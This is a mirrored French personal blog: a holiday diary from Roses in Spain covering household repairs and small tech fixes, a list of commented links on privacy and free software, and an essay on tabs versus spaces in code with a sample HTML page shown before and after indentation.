PROJET AUTOBLOG


Le blog de Seboss666

Site original : Le blog de Seboss666

⇐ retour index

Mise à jour

Mise à jour de la base de données, veuillez patienter...

Vacances, journal de bord, semaine 1

dimanche 17 juin 2018 à 10:30

Je prend enfin de vrais vacances après trois ans de changement de vie (je n’avais pas pris plus de deux semaines consécutives auparavant, et l’arrêt maladie ça ne compte pas). Je me suis dit que ça serait l’occasion de donner une vision geek d’un dépaysement à l’étranger, en Espagne pour être précis, en Catalogne sur la Costa Brava pour être encore plus précis. L’occasion de vérifier comment ça fonctionne l’itinérance mobile en 2018 en Europe, les différences de culture, ce genre de choses, et surtout, une mer bien différente de la Manche.

Samedi

Départ de chez moi jusque Saint Étienne, pour un point d’étape chez la marraine de ma mère, RAS. Le soir je m’endors tard à cause de voisins certainement lycéens qui fêtent joyeusement un anniversaire. M’en fous me lève pas aux aurores dimanche.

Dimanche

Route vers Roses nickel concernant la population, le climat me plaît moins : à mesure qu’on approche de la frontière la température descend, les nuages sont plus présents, et même quelques passages de pluie (sans orage ceci dit, pensée pour ceux qui souffrent). Du coup je n’ai pas trop chaud (ceux qui me connaissent et connaissent le nounours savent à quel point j’aime pas la chaleur), comme on a quelques soucis de logistique, en gros juste un micro-ondes pour faire à manger, on décide de se tourner vers un resto.

Ce resto se situe dans une ruelle piétonne où plusieurs enseignes sont collées les unes aux autres. Plusieurs tables occupées, des tarifs pas exorbitants, et surtout une carte variée, tout le monde ne mange pas de poisson. Je recommande la paella, ça fait cliché mais elle était délicieuse, il faut être deux pour commander par contre.

L’enchevêtrement de rues de la ville, j’aurai l’occasion d’y revenir

Au passage, le geek éternel fait un test rapide de la 4g+ made by Orange Espagne sur mon P20 Lite flambant neuf dont je parlerais à mon retour :

J’ai pris un max de vidéos YouTube à l’avance pour les mater hors ligne (avec YouTube-dl), mais ça fait plaisir à voir. Magie de la législation européenne, mon forfait fonctionne à l’identique ici. Si ça sa trouve je vais même pas avoir besoin de la clé 4g (edit : en fait ma mère l’a oublié, donc c’est réglé), surtout qu’Orange a monté le quota de mon forfait à 50gigas quelques semaines auparavant.

Il est bientôt 23h, j’écris ce paragraphe tranquillement assis sur le balcon, il fait encore 18°, je suis bien. Le programme de demain sera surtout chargé en logistique (électroménager, courses), je finis de lire quelques conneries sur Twitter ou mes flux RSS, et dodo.

Lundi

J’ ai oublié de couper le réveil pour le boulot, moralité réveillé à 7h. J’éteins, et repars dans les limbes pour en émerger vers 10h. En faisant le tour du courrier on apprend que le gaz a été coupé parce que l’installation n’a pas pu être contrôlée. Après plus d’une heure à tenter de contacter la compagnie sans succès décision est prise : exit la gazinière, et du coup l’abonnement, la cuisinière remplaçante sera électrique.

Après un repas de conserve réchauffée au micro-ondes, une bonne sieste s’impose, je recharge les batterie pendant presque 3h (s’il fallait une confirmation que j’avais besoin de vacances…). Le podcast que j’ai commencé à écouter devra être repris à zéro, pas eu le temps de tout entendre avant de sombrer. On décide de se rendre au magasin d’électroménager local à deux trois rues, petite enseigne improbable à cet endroit-là mais qui semble bien tourner. Le catalogue est en fait beaucoup plus fourni que les vitrines et les rayons, ils ont un modèle de cuisinière électrique de 50 cm de large avec foyers vitrocéramique livrable en 48h, en promotion en plus (un bon 20% c’est jamais dégueulasse), la livraison et la reprise de la gazinière sont gratuits.

Au passage, j’aimerai parler aussi bien espagnol que la vendeuse parle français. De par son positionnement géographique les commerçants de la ville sont très souvent trilingues (espagnol, catalan, français), quand votre espagnol remonte au lycée, que vous aviez eu 10 à l’oral au bac, et que mine de rien le bac c’était en 2001, ben c’est compliqué. Autant le lire est encore facile, même sans avoir fait de latin, le parler c’est chaud, l’entendre et le comprendre de la bouches des locaux c’est sport (causent vite mine de rien).

Ah pour la blague, la température n’a pas dépassé 23°C (en soi hein, ça me va très bien) et il s’est mis à pleuvoir pile quand on est sorti commander le matériel. Avec tout ça, malgré le temps qui s’ y prêtait le matin je ne suis pas encore allé me baigner, mon dos me faisant encore souffrir un peu je pense que ce n’est pas trop grave. Les moments de bulle sur le balcon l’ont été en compagnie du tome 2 de Bruce Benamran qui attendait depuis trop longtemps, passionnant comme le premier mais bien plus dense et plus difficile à lire. Au passage dans les paragraphes « LPPV » certains sont consacrés à des femmes ça mériterait d’en faire des vidéos (à côté de celles sur Mendelieiev, Guigui…).

J’apprends en même temps le rachat de GitHub par Microsoft. Pour moi presque un non-évènement, mais tout le monde pense que c’est dangereux, GitLab annonce la création en masse de comptes et de dépôts sur leur offre SaaS (hébergée sur Azure, donc chez Microsoft, admirez l’ironie), pourtant c’est pas comme si la dangerosité des silos était connue de longue date, que Carl en avait déjà parlé, pour rappel GitHub est déjà une entreprise à but lucratif qui fait son beurre sur un service majoritairement gratuit et dont le moteur est jalousement gardé secret. Rien de nouveau sous le soleil, surtout que pour la techno sous-jacente, git, Microsoft a déjà contribué, car il l’utilise maintenant pour une grande majorité de ses projets, Windows en tête, avec ses propres contraintes (la quantité de code de cet aspirateur géant à données étant monstrueux de par sa taille, même git montrait des limites).

Au passage, même si je ne le recommande pas en lecteur par défaut, j’ai installé Kodi sur le laptop, il a ce côté pratique de marquer les vidéos déjà visionnées, de mémoriser la progression de celles interrompues en cours de route, avec tout ce que j’ai emmené c’est pratique pour le suivi.

Mon téléphone est débranché depuis plus de 24h et il lui reste encore plus de 30 pour cent. Dieu que ça fait du bien. Je découvre le « mode nuit » réduisant les bleus, ce n’est pas un effet de mode on devrait vraiment imposer ça par défaut sur tous les écrans (sauf télé, le jaunâtre c’est pas ouf pour les films), les yeux vont vraiment mieux, sans avoir besoin de sortir mes lunettes Klim, une marque espagnole tiens.

Mardi

Après une nuit en deux temps (toujours passer aux toilettes avant de se coucher…), je trouve le moyen de m’ouvrir le cuir chevelu avec un coin de la fenêtre pendant que je faisais mon lit, avant d’aller chez le coiffeur. Et c’est pas une blague en plus. Du coup, je remet le « passage au stand » à l’après-midi, la baignade quotidienne à plus tard, et me plante dans le salon, mouchoir en papier plaqué sur la blessure, en écoutant NoLimitSecu. Dans les placards traîne un grill, du coup en attendant la cuisinière qui arrive demain on a quand même de quoi faire cuire de la viande.

Le début d’après-midi est marqué par un contrôle de plusieurs serrures des portes de l’appartement, après avoir lutté pour entrer dans ma chambre. Les pennes accusent leur âge et sont fortement dégradés. Au final toutes les portes sont souffrantes à ce niveau. Vu l’âge des bousins et des dimensions, ça sera pas évident de trouver des remplaçants, mais bon, à pays différent, sait-on jamais…

Ensuite, direction le salon de coiffure en bas de la rue. Je demande s’il est possible de prendre une coupe homme, à peine le « si » prononcé qu’on me montre un siège ! 20 minutes plus tard, et à peine 9 euros de déboursés (le 10ème euro étant déposé dans le pot à pourboire, c’est la moindre des choses), je remonte à l’appartement entre deux averses, pour terminer la partie barbe de ce rafraîchissement trop longtemps repoussé. Je ressemble de nouveau à un être humain, mais le climat ne va pas me permettre d’aller à la plage, je replonge dans le bouquin de Bruce, j’ai attaqué les chapitres sur la mécanique quantique, ça pique, mais vraiment fort.

J’ai un problème avec Kodi : la plupart des vidéos ont le son et l’image décalés. On peut contrôler ce décalage pour réaligner les deux, mais c’est pénible. Le coupable est vite trouvé : on peut saluer Intel et leurs pilotes opensource, mais pour autant le support de l’accélération matérielle pour le décodage vidéo est en réalité calamiteux, et il faut désactiver vaapi dans les options de Kodi pour que le problème soit réglé. Je peux reprendre maintenant sans difficulté le rattrapage des mappings pour la ZrT Trackmania Cup 2018 à laquelle je ne pourrait pas me rendre cette année pour cause de conflit avec la Nuit du Hack (la vie est une question de priorités…).

Mercredi

Une journée animée, même si démarrée sur le tard grâce à une grasse matinée bien nécessaire. Direction la quincaillerie pour tenter de trouver des remplaçantes aux serrures malades. Ce magasin de par son emplacement est ahurissant : sur deux étages, vous regroupez un équivalent de monsieur Bricolage et de la Fouarfouille, tout ça en centre ville. J’avais pris des mesures sur un carnet, mais le vendeur me conseille de revenir avec les serrures pour comparer, ça sera plus efficace. C’est à 5 minutes à pied de l’appartement, aucun souci. Petit passage par un autre rayon pour loger un câble HDMI (le décodeur TNTSat est branché en péritel…), un autre au sous-sol pour un panier à linge, et l’on découvre à la caisse avec étonnement et grand plaisir la jeune femme qui nous a fait le bon de commande pour la cuisinière. On apprend que le magasin d’électroménager, qui se trouve sur le trottoir d’en face, est en fait la même enseigne. Un sacré combo que je ne me souviens pas avoir déjà vu en France (et vous avez le droit de corriger mon ignorance si vous le pouvez).

Après une sieste/bulle vidéo ponctuée par une bonne session pluvieuse, je démonte les deux modèles de serrure que je cherche à remplacer. Et là, après la fin de la pluie, on voit arriver à pied dans la rue deux employés du magasin d’électroménager, avec un diable portant la cuisinière 😀 J’ai pas eu le temps de prendre la photo tellement c’était improbable, mais bon, après tout, c’est vraiment à deux rues, il faut trois minutes à pied pour y aller, utiliser un véhicule n’avait pas de sens, surtout que les rues sont en sens unique.

Malheureusement, à part retirer la gazinière aussi inutile qu’ancienne, il manque un élément essentiel pour la cuisinière : une source d’alimentation digne de ce nom. Le souci, c’est que la seule prise à proximité, si elle dispose bien d’une prise de terre, est affublée d’un fusible… de six ampères. En gros, on peut brancher la cuisinière dessus mais le four est inutilisable et pas question de pousser le moindre foyer vitrocéramique. Les deux employés ne sont pas équipés pour adapter l’installation (une fois la prise démontée les sections des fils sont capables de supporter la charge, c’est déjà ça), ils repartent alors impuissants avec la gazinière. Lors de la commande la charmante vendeuse nous avait indiqué pouvoir nous proposer les services d’un technicien. Comme on doit aller payer le solde de la commande, et moi trouver les fameuses serrures, nous voilà reparti pour trois minutes de marche. C’est ouf d’avoir tout à portée comme ça.

Semi mauvaise nouvelle : pas possible d’avoir les serrures à l’identique, si la marque existe toujours (et c’est une marque espagnole) les modèles ont évolué. Je prend les plus proches possibles mais vais devoir retailler les portes pour poser ces nouvelles serrures. Cinq serrures de deux tailles différentes, les entretoises pour les carrés de 7, un ciseau à bois (j’ai déjà le marteau et les vis), trente-trois euros. J’ose à peine comparer les tarifs en France.

Pour les « geekeries » du jour, le téléphone de ma mère débloque à fond les ballons et à perdu tous ses contacts. Je cherche quelques pistes pour les rafficher, les récupérer, à part les articles tous plus inutiles les uns que les autres (comprenez ceux qui recommandent de passer par le compte Google…), je tombe sur article proposant un soft Windows/Mac qui semble faire le taf. Je n’ai pas de Windows sous la main, mais des Iso sur mon disque dur externe et Virtualbox. Devant tester la version qui doit remplacer Windows 7 sur la grosse Bertha, je fonce. Il faut passer le téléphone en mode développeur, activer le debug USB, et lancer le soft.

Petite parenthèse : la version de Windows testée est une LTSB, dégraissée de Cortana, Edge, Windows Store… Si vous entendez parler de cette version et que vous êtes tenté, attention donc lorsqu’il faudra disposer d’un navigateur, j’ai été surpris sur le coup (en fait il reste Internet Explorer, indéboulonnable décidément, mais évidemment j’ai découvert ça après coup-en récupérant Firefox grâce à PowerShell, on se refait pas quand il s’agit de bidouiller un peu de la ligne de commande même sous Windows).

Bref, le soft, ça aurait pu être un peu plus explicite, tente de rooter le téléphone en injectant des apk. Ceux-ci sont bloqués par des mécanismes de sécurité que l’on peut débrayer, mais ici, les tentatives pour rooter la bête ne fonctionnent pas. De toute façon, il ne trouve aucun contact, et la seule information potable c’est le journal d’appel qui lui stocke les noms et les numéros de téléphone. On peut donc récupérer une partie des contacts, en déduire d’autres avec les conversations SMS… Et là, misère, on ne peut pas exporter les éléments découverts sans payer une licence. Je prend des captures d’écran, et pense quand même à un truc : le téléphone indique être démarré depuis 72 jours. Quitte à retaper les contacts, autant les faire sur un démarrage tout frais. Ben devinez quoi ? Un redémarrage du téléphone plus tard (dans le doute, reboot), les contacts sont de retour une fois la SIM déverrouillée, mais on sent quand même de gros freezes pendant quelques secondes dans le téléphone une fois le code PIN saisi, donc y’a bien un truc bizarre, mais dasn l’immédiat, problème résolu.

En passant ce test de Windows 10 en VM m’a convaincu, en rentrant de vacances je prendrais un week-end pour faire ma migration. Quel week-end par contre, vu le planning une fois rentré de vacances, ça sera la grande question…

Jeudi

Jeudi c’était passion bricolage : on démonte chaque serrure pour retailler dans les portes afin de poser les neuves. Je prend mon temps, je n’ai qu’un marteau et un ciseau à bois neuf.

Bonne nouvelle, le technicien a appelé dans la matinée, il passera en début d’après-midi pour s’occuper de l’électricité. Il arrive vers 15h, en fait c’est un entrepreneur qui travaille avec la boutique si besoin de travaux, c’est un indépendant comme certains autoentrepreneurs que je connais en France. Il fait un boulot aux petits oignons dans les normes histoire de pas être embêté par la suite, comme prévu pas question de faire tourner tout à fond en même temps, le disjoncteur saute. Deux heures et demie après il repart avec ses 120€ en poche, il n’y a pas de faute de frappe tout est compris. Il utilise une application mobile pour éditer ses factures, je lui ai demandé de me la transmettre par mail, vérification en moins d’une minute, bienvenu au 21° siècle, malheureusement j’ai pas demandé le nom de l’application, ceci dit pas certain que ça soit possible de transposer en France en l’état, il y a quelques différences d’ordre administratives qui doivent bloquer.

Il reste juste un bouton à changer pour la lumière de la cuisine, ça je peux gérer j’irai demain à la quincaillerie, ça sera l’occasion de remercier tout le monde pour le service et les conseils rendus/fournis.

Avec tout ça, à part les lectures RSS/Twitter et quelques messages sur Telegram, j’ai rien fait 😀

Vendredi

Enfin la plage ! Une petite demi-heure dans l’eau histoire de se remettre dans le bain (haha), bulle ensuite sur la serviette, ma peau évidemment supporte mal le soleil et j’ai fait le choix de pas mettre de crème (avant 11h du matin ça serait dommage de gaspiller…). Le ventre, les épaules, j’avais juste protégé le visage, j’ai été trop présomptueux, va falloir patienter avant de représenter tout ça à notre astre préféré.

Et c’est à peu près tout, ça a vraiment été la journée de la bulle, juste une petite sortie pour aller chercher le bouton pour la lumière de la cuisine, quelques courses pour gérer le soir et le lendemain midi. J’ai découvert sur le blog OVH un writeup de challenges de la Nuit Du Hack 2017 qui me rappelle qu’il faut que je m’entraîne un chouia quand même si je veux pas avoir l’air trop minable pour l’édition 2018. A concrétiser les vrais jours de mauvais temps je pense.

Samedi

The grasse matinée, faut dire que réveillé à 6h parce que je bois trop d’eau, ça incite pas à rester debout, donc recouché. Ma peau me chauffe vraiment, du coup je reste à l’ombre, j’en profite pour changer le bouton de la lumière de la cuisine. J’ai terminé la partie physique quantique du bouquin de Bruce, non sans avoir pris mon temps sur certains paragraphes, c’est touffu, et malgré l’effort, pas évident à encaisser tellement le sujet est complexe. Et grosso modo, vu la gueule de ma peau, pas question de me réexposer comme ça au soleil de la journée, j’en viens même à sortir la Biafine.

En fin de journée on décide quand même une petite balade dans les rues de Roses, cette ville s’est vraiment montée de manière anarchique, certaines rues sont si étroites qu’on se demande comment des commerces peuvent y vivre et pourtant y’a du monde. Certains magasins affichent des prix affolants d’accessibilité par rapport à la France, mais si on réfléchit deux secondes, tout est plus bas ici, y compris les salaires…

En discutant fibre optique avec ma mère, qui désespère d’avoir une connexion internet qui fonctionne et un abonnement CanalSat à dégager (le tout lui coûte pratiquement 150€ par mois, alors avant de pester sur les augmentations de tarifs des offres à plus de 30€, pensez à la majorité de la France qui galère), je découvre que le site Somme Numérique a été mis à jour et propose un test d’éligibilité, on n’a besoin de rentrer que l’adresse (quand sur l’ADSL ils veulent absolument le numéro de téléphone que vous n’avez pas forcément), c’est éligible, sur mobile le formulaire est inutilisable, on verra demain avec l’ordinateur.

Dimanche

Direction le marché, une fois de plus l’étonnement sur les prix, c’est un marché majoritairement vestimentaire, même avec le temps moyen, la température reste agréable. Sur le chemin je découvre une affiche pour une course de drones à la citadelle de Roses les 16-17, y’a des chances que je fasse un tour, que je teste la vidéo du smartphone. Pour la partie culinaire, le marché couvert de Roses ouvert tous les jours abrite différents marchands, bouchers, maraîchers, boulangeries, on peut soit acheter le matériau brut, ou des plats préparés. On repart avec pratiquement 5 kilos de viandes diverses (boeuf, porc, poulet, agneau, chorizo), pour à peine plus de 30€. Ouf quand on connaît les prix pratiqués en France, même si j’ai besoin de rafraîchir ma mémoire sur les bouchers de marché.

Une fois rentré, direction Somme numérique : un site qui semble potable, plus qu’en fin d’année dernière, mais les polices ne pas disponibles, c’est donc moyen (est-ce que Blokada, fraîchement installé sur le Smarpthone, entre en ligne de compte ? Ou grosse feignantise de la part des développeurs, comme pour touslesdrivers.com ?). Pire, le formulaire de contact après test d’éligibilité est aux fraises, comme sur mobile, grâce aux outils de dev de Firefox, j’ai shooté pratiquement tout le contenu du site et modifié quelques propriétés CSS pour pouvoir envoyer les coordonnées de ma mère pour prise de contact avec Covage. Vérification faite, ça sera probablement NordNet l’opérateur, donc exit l’IP fixe, va falloir bricoler comme des cochons pour accéder aux infrastructures de la maman pour la maintenance (routeurs, NAS, raspberry pi…).

A peine arrivé que la première semaine se termine déjà, il en reste deux, dont un peu plus d’une et demi à l’étranger, le plus gros de la maintenance de l’appartement, repoussé de longue date, est terminé, ma peau se remet doucement, espérons que ça signifie plus de plage.


Attention, le journal est décalé d’une semaine, j’ai bientôt terminé la deuxième, la dernière semaine sera donc publiée après ma reprise. Mais vous pouvez quand même poser vos questions si vous en avez 😉

Quelques liens en vrac et en français, 27° édition

mercredi 13 juin 2018 à 18:30

Vu que je touche très peu à l’ordinateur en ce moment (vacances, plage, bricolage, toussa), du moins pour faire autre chose que regarder des vidéos en retard, j’ai quand même pris la peine de terminer cette nouvelle compilation de lectures diverses. J’ai du dégraisser une fois de plus, mais j’ai cherché à varier les thèmes, ai-je réussi ou pas, je vous laisse juger…

Mon après-moi numérique

Comment gérer notre présence en ligne une fois qu’on est plus là pour la gérer ? Je me suis moi-même posé la question en fin d’année dernière, je ne sais pas si ma réponse valait quelque chose, mais j’avais besoin de l’écrire. Voici une autre réflexion sur le sujet par Nicolas Lœuillet.

Plusieurs centaines de sites enregistrent l’intégralité des actions des visiteurs

Quand on vous dit que vous être espionnés quand vous êtes en ligne, vous n’imaginez pas à quel point le moindre de vos mouvements est scruté, enregistré, disséqué, à des fins particulièrement peu reluisantes, et surtout, sans que vous n’en soyez le moins du monde informé, et donc encore moins consulté au préalable pour savoir si vous êtes d’accord.

TOS DR

Je vais faire une petite entorse à l’un des critères de cette série sur le blog, à savoir que le lien suivant est en anglais et pas en français. Diminutif de Terms of Service Didn’t Read, ce site récapitule en langage humain les conditions d’utilisation de vos sites favoris dans une version compréhensible et condensée, donc plus facile à lire. Si vous êtes à l’aise avec la langue de Denzel Washington, prenez une minute pour lire certaines conditions de vos sites favoris, et vraiment posez vous la question de savoir à quel moment il est justifié de leur donner autant de permissions sur votre propre vie quand vous n’en donnez pas autant à d’autres personnes plus proches de vous.

Suivre madmoiZelle sur Facebook : infos sur notre consommation média

Le site madmoiZelle a découvert récemment à quel point dépendre d’un acteur unique, à savoir Facebook, pour tenter de fédérer une audience est une mauvaise idée, parce que Facebook ne se soucie que de Facebook et fait sa vie sans rien demander à personne, comme Google avec son univers. Mais la réflexion reste très intéressante à lire, même si vous n’êtes pas le cœur d’audience habituelle du site.

Comment suivre les mises à jour de vos logiciels libres

Les logiciels libres ont cette particularité d’être souvent très actifs, mis à jour régulièrement, pour différentes raisons (sécurité, stabilité, évolutions). Suivre leur actualité n’est pas toujours facile, mais il existe quelques astuces que Cascador partage avec plaisir, et je l’en remercie, parce que souvent ça passe par l’incontournable flux RSS dont j’ai déjà décrit il y a quelques années les avantages.

Prévoir la configuration automatique de son serveur mail dans Thunderbird

Si tous les opérateurs prévoient une page d’autoconfiguration pour Outlook, ce n’est pas nécessairement le cas pour les autres clients mails. Et si Thunderbird dispose d’une base de données de configuration de différents hébergeurs, ce n’est pas nécessairement le cas pour ceux qui sont assez masochiste pour héberger leur propre boîte mail. Mais tout n’est pas perdu, il y a un CHATON pour vous expliquer comment faire.

Install and Forget : suivre le cycle de vie de vos applications sur le long terme

C’est un peu en lien avec le suivi des mises à jour présenté juste au-dessus, mais ce billet est plus un rappel pour les développeurs et intégrateurs d’application, à savoir, rien n’est parfait sur le long terme en matière de sécurité (la seule sécurité serait de ne pas avoir d’application…), donc quand une enseigne se présentant comme un collectifs d’experts en hébergement et logiciel libre en parle, et que ça me semble pas raconter trop de conneries, ma foi, je partage.

Combien faut-il de nains pour creuser en 2 jours un tunnel de 28 m dans du granite ?

Ah, elle date un peu maintenant cette conférence de gestion des ressources humaines en environnement contraint. Mais elle est toujours aussi délicieuse à suivre (en plus ce n’est pas très long), et si vous ne connaissez pas encore le Donjon de Naheulbeuk, vous devriez un peu vous y intéresser, ça vaut le détour.

Enfin utiliser Vim

J’ai réellement découvert vim en arrivant chez LinkByNet. S’il est devenu très rapidement mon éditeur de choix sur mes serveurs et même sur mon laptop par certains moments (c’est plus rapide que de switcher entre CLI et application graphique), je continue d’utiliser Sublime text pour mes besoins en développement. Mais là souplesse et l’extensivité de vim pourraient bien vous surprendre à plus d’un titre.

Les dessous du pistage entre sites

Non content de surveiller vos moindres faits et gestes sur leur site, les sociétés font leur possible pour savoir aussi ce que vous faites quand vous n’êtes pas chez eux (ce qui ne les regarde pas). Petit tour d’horizon sur quelques techniques à base de cookies, de localstorage, de pixels cachés, de bouton de partage…

Vie privée et politique, nos représentants ont-ils la même définition que nous ?

Si je ne suis pas particulièrement loquace sur le sujet par rapport à d’autres confrères blogueurs, les sujets concernant la vie privée m’intéressent particulièrement et je vous en partage souvent. En voilà un de plus particulièrement intéressant puisque lorsqu’on parle de vie privée dans la sphère citoyenne, sa définition diffère grandement pour ceux qui sont censés nous représenter au niveau politique.

Ne consommez pas Internet, soyez internet

C’est un décalage qu’on remarque trop souvent dans tous les domaines, il y a bien trop de consommateurs et pas assez de producteurs. Un peu dans la même veine que l’article de Korben sur les bouffeurs/créateurs (à lire et partager également), on parle de contribution et de participation mais un cran en-dessous puisque l’on cible l’infrastructure dans ce billet de freetux.

De la musique de qualité sous licence libre pour vos projets

Alors certes ça ne vous protègera pas des vélléités financières des aspirateurs à pognons d’ayant-tous-les-droits, mais tant que vous ne diffusez pas en magasin, vous devriez pouvoir être un peu plus tranquille et c’est toujours bien de respecter la volonté des auteurs (si certains ne veulent pas qu’on utilise leur musique sans vendre un rein, tant pis pour eux). Remember, j’avais utilisé une telle musique pour la vidéo sur le démineur 🙂

Le parcours du combattant pour nettoyer sa vie numérique

J’ai moi-même fait l’inventaire des comptes dont je dispose en ligne, et j’ai dépassé la quarantaine, avec une quantité trop peu variée de mots de passe (l’inventaire était la première étape avant la redéfinition de ces mots de passe). Je n’ai pas prévu d’en supprimer pour l’instant, mais Guénaël de NextINpact s’est bien fait chier pendant plusieurs mois pour tenter justement de faire le ménage dans les siens et supprimer certains des comptes. Et on se rend bien compte à quel point les sociétés ne veulent pas se départir des précieuses données qui sont rattachées à votre compte, en faisant tout pour rendre la suppression au moins compliquée, au mieux impossible (mieux pour elles).


Voilà, sur ce, je vais reprendre mes vacances (je suis actuellement en Espagne), j’avancerai peut-être quelques brouillons, j’ai aussi commencé un carnet de vacances mais je sais pas encore s’il est pertinent de vous le présenter. On verra bien…

Tabulations ou espaces dans votre code ?

samedi 19 mai 2018 à 10:30

Firefox vs Chrome, Windows vs Linux, iOS vs Android, KDE vs Gnome, systemd vs OpenRC, Node.js vs Python… Les guéguerres de clocher interminables et très souvent puériles (voire même franchement connes et toxiques) sont connues parfois même des moins techniciens tellement elles sont bruyantes. Il en est une que peu de monde entend cependant, et à laquelle je me suis confronté dernièrement. Voyons voir quel est ce problème qui concerne les développeurs à travers le monde.

Disclaimer : je ne suis pas développeur, tout juste un gros bricoleur du dimanche qui triture quelques lignes de code sur son temps libre, et également occasionnellement au boulot (ce qu’on appelle du scripting, la première étape pourrait-on dire). Si jamais je dis une énormité, il ne faut pas hésiter à me corriger mais courtoisement 🙂

De quoi on parle déjà ?

Causons un peu typographie pour commencer. Évidemment, j’ai peu de chose à dire sur l’espace, il sert d’abord à séparer les mots, et sa taille peut varier en fonction de la police de caractères ou, si on s’attaque aux possibilités de l’informatique, à l’alignement du texte par rapport à un cadre (ce texte est justifié, collez-le dans un éditeur de texte brut vous verrez qu’il n’y a qu’un espace entre chaque mot).

La tabulation, elle, remonte aux premières machines à écrire et correspond à un besoin d’aligner des éléments, à l’époque sous forme de tableaux (tabula, tableau, vous l’avez ?), plus facilement qu’avec des espaces ou des retours arrière. Lors de l’arrivée de l’informatique on en a fait un caractère spécial à part entière et la touche est restée sur nos claviers, les règles virtuelles ont remplacé les guides des machines à écrire dans les traitements de texte, et on peut définir de manière très souple la taille d’une tabulation.

La règle dans OpenOffice pour aligner le texte

Pourquoi on s’emmerde avec les deux ?

Ben après les avoir présenté je pense pas avoir besoin d’en dire beaucoup plus. L’un est juste là pour séparer des mots alors que l’autre est conçu pour de la mise en page. Mais qui n’a jamais vu quelqu’un tenter d’aligner des blocs de texte avec des espaces dans Word, avec un succès aléatoire ? Sans même parler de l’AVC que déclenche l’affichage des caractères spéciaux sur ces mêmes blocs alignés par Satan ?

On est donc face à deux outils qui dans beaucoup de cas sont soit trop peu utilisés, soit pas utilisés pour leur domaine de prédilection. Et le monde de la programmation (paie ton terme pré-millennial) ne fait pas exception, enfin presque.

C’est quoi le problème pour les développeurs ?

Le problème c’est que chaque développeur, au fur et à mesure qu’il fait des choix sur ses outils et façonne ses habitudes, sans même parler de ses langages de prédilection, peut mettre en forme son code de manière différente. Et si plusieurs devs bossent sur le même logiciel, lire un même langage avec autant de mises en forme que de personnes impliquées c’est comme lire un bouquin dont chaque page est écrite avec une police de caractère différente, sans parler du vocabulaire. Je vous laisse imaginer votre niveau de concentration sur l’histoire avec une telle présentation. Et l’une des pratiques cibles ici est l’indentation.

En fonction des langages, vous mettez un pied en enfer si les conventions d’indentation bougent au fur et à mesure que le code se déroule. C’est notamment le cas en Python, ou si vous utilisez le YAML pour vos fichiers de configuration. Mais même sans ça, la lisibilité est toute différente. Prenons un exemple tout bête en html que j’ai pu écrire y’a quelques années :

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="fr" xml:lang="fr">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<link rel="stylesheet" type="text/css" href="style.css" />
<title>T-OC Panel Evolution - Public "perso"</title>
</head><body><div id="banner">
<span id="servername">Serveur Public "perso"</span>
<span id="menu">
<select name="server" class="dropdown" onchange="window.location='index.php?server='+this.value;"><option value="toc_simple" selected>Public &quot;Perso&quot;</option><option value="pub5">Public CoD5</option>		</select>
</span>
</div><div id="controls">
<div id="buttons">
<form name="input" action="index.php?server=toc_simple" method="get">
<input type="hidden" name="caction" value="start" />
<input type="submit" class="btn_start" value=" " />
</form>
<form name="input" action="index.php?server=toc_simple" method="get">
<input type="hidden" name="caction" value="stop" />
<input type="submit" class="btn_stop" value=" " />
</form>
<form name="input" action="#" method="get">
<input type="hidden" name="status" value="status" />
<input type="submit" class="btn_status" value=" " onclick="javascript:location.reload(true);" />
</form>
</div>
<div id="info">
<p class="server_status">Etat du serveur : <span style="color:#0F0;">Server started.
</span></p>
</div>
</div>
</body>
</html>

Ça c’était la version « à plat ». Et si maintenant je fais un peu d’indentation :

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="fr" xml:lang="fr">
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
	<link rel="stylesheet" type="text/css" href="style.css" />
	<title>T-OC Panel Evolution - Public "perso"</title>
</head>
<body><div id="banner">
	<span id="servername">Serveur Public "perso"</span>
	<span id="menu">
		<select name="server" class="dropdown" onchange="window.location='index.php?server='+this.value;"><option value="toc_simple" selected>Public &quot;Perso&quot;</option><option value="pub5">Public CoD5</option>		</select>
	</span>
</div><div id="controls">
	<div id="buttons">
		<form name="input" action="index.php?server=toc_simple" method="get">
			<input type="hidden" name="caction" value="start" />
			<input type="submit" class="btn_start" value=" " />
		</form>
		<form name="input" action="index.php?server=toc_simple" method="get">
			<input type="hidden" name="caction" value="stop" />
			<input type="submit" class="btn_stop" value=" " />
		</form>
		<form name="input" action="#" method="get">
			<input type="hidden" name="status" value="status" />
			<input type="submit" class="btn_status" value=" " onclick="javascript:location.reload(true);" />
		</form>
	</div>
	<div id="info">
<p class="server_status">Etat du serveur : <span style="color:#0F0;">Server started.
</span></p>
	</div>
</div></body>
</html>

On comprend mieux les dépendances entre éléments, ce qui sera d’autant plus important lorsque viendront les mises en forme CSS de ces éléments. En YAML, où les éléments sont indentés avec des espaces (regardez les fichiers de ma dockerisation perso de gogs), ben le moindre espace en trop ou en moins et la stack ne démarre pas.

Comment on fait alors ?

Quand on travaille seul nos outils varient peu, et donc chacun fait comme il veut, tant qu’il reste cohérent tout au long du code source; si on suit les recommandations PEP8 de Python, ils préconisent 4 espaces pour l’indentation. Par contre quand on travaille en équipe il est nécessaire des le début d’un projet de bien définir les pratiques à suivre, de la même manière que les conventions de nommage des classes, méthodes et variables (Qui a dit CamelCase ?). L’objectif est d’éviter que le code soit difficilement lisible parce que chacun y va de sa méthode d’indentation, de taille de niveau… C’est d’autant plus vrai en Python où l’indentation est vitale pour la compréhension du code par l’interpréteur et où aucun écart n’est permis. Mixer tabulation et espace est d’ailleurs interdit en Python 3, car de par leur nature différente on ne sait pas quel niveau d’indentation appliquer à la première.

Surtout que les environnements de développement et les éditeurs de code avancés savent très bien s’accommoder et sont paramétrables sur ce plan, on peut donc forcer la taille d’une tabulation ou sa conversion directe en espaces de quantité de son choix sur son logiciel d’écriture favori.

Tu préfères quoi ?

